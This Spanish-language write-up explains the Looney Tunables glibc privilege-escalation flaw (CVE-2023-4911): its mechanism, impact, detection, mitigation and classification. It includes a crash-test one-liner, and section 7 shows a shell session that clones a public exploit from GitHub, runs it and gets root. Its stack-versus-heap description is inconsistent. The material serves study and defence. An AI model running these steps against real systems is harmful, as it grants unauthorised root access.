1. Descripción técnica del ataque
Looney Tunables (CVE-2023-4911) es un desbordamiento de búfer en el cargador dinámico de glibc (ld.so), concretamente en el procesamiento de la variable de entorno GLIBC_TUNABLES. Esta variable permite ajustar parámetros internos de glibc (por ejemplo del allocator) en tiempo de ejecución.
El parser de GLIBC_TUNABLES maneja incorrectamente una secuencia tunable=tunable=valor duplicada, copiando datos a un búfer del stack sin validar su tamaño. Como ld.so se ejecuta al lanzar cualquier binario SUID (procesa el entorno antes de descartar privilegios), un atacante local puede crear un GLIBC_TUNABLES malicioso que, al ejecutar un binario SUID como su, sobrescribe el stack y logra ejecución de código como root.
Es una escalada de privilegios local (no remota): requiere acceso previo a una shell sin privilegios.
2. Impacto de la vulnerabilidad
- Escalada de privilegios a root en sistemas con la glibc vulnerable.
- Afecta a distribuciones muy extendidas en sus versiones de 2023 (Fedora, Ubuntu, Debian, etc.) con glibc 2.34–2.38.
- Explotación fiable y con PoCs públicas, lo que la hizo muy popular en CTFs y pentesting tras su publicación.
3. Historia y evolución
- Descubierta por el equipo de investigación de Qualys y publicada en octubre de 2023.
- El nombre "Looney Tunables" juega con la palabra tunables.
- Rápidamente aparecieron exploits públicos (p. ej. el de hadrian3689 en GitHub) que generan una
libcmaliciosa y un binario que dispara el overflow.
4. Factores que la hacen posible
- Una versión vulnerable de glibc (2.34 a 2.38 sin parchear).
- Presencia de binarios SUID que invocan
ld.socon el entorno controlado (cualquiera sirve, p. ej.su,sudo,mount). - Acceso local como usuario sin privilegios.
5. Detección
- Comprobación rápida (un binario SUID con un
GLIBC_TUNABLESmalformado provoca un crash en versiones vulnerables):
env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" "Z=$(printf '%08192x' 1)" /usr/bin/su --help
# Segmentation fault (core dumped) → probablemente vulnerable- Verificar la versión de glibc:
ldd --version6. Mitigación
- Actualizar glibc a una versión parcheada (la solución definitiva).
- Como mitigación temporal, se puede usar una política de SystemTap que bloquee la ejecución de SUID con
GLIBC_TUNABLESen el entorno. - Reducir el número de binarios SUID innecesarios.
7. Ejemplo de explotación real
Confirmamos la vulnerabilidad y usamos un exploit público que genera una libc maliciosa y compila el disparador:
angela@pipy:/tmp$ env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" "Z=`printf '%08192x' 1`" /usr/bin/su --help
Segmentation fault (core dumped)
angela@pipy:/tmp$ git clone https://github.com/hadrian3689/looney-tunables-CVE-2023-4911.git
angela@pipy:/tmp/looney-tunables-CVE-2023-4911$ python3 libc.py
angela@pipy:/tmp/looney-tunables-CVE-2023-4911$ gcc exp.c -o exp
angela@pipy:/tmp/looney-tunables-CVE-2023-4911$ ./exp
# (tras varios intentos)
root@pipy:/tmp#8. Clasificación
- Tipo: Buffer Overflow → Local Privilege Escalation
- CVE: CVE-2023-4911
- CWE:
- CWE-787 – Out-of-bounds Write
- CWE-122 – Heap-based Buffer Overflow (variante de stack en el dynamic loader)
9. Resumen
Looney Tunables (CVE-2023-4911) es un desbordamiento en el procesamiento de GLIBC_TUNABLES por el cargador dinámico de glibc, explotable mediante cualquier binario SUID para escalar a root localmente. Publicada por Qualys en 2023, tiene exploits públicos fiables. La defensa es actualizar glibc. Es un vector de escalada local frecuente, comparable a otros desbordamientos como BOF (Buffer Overflow) x86.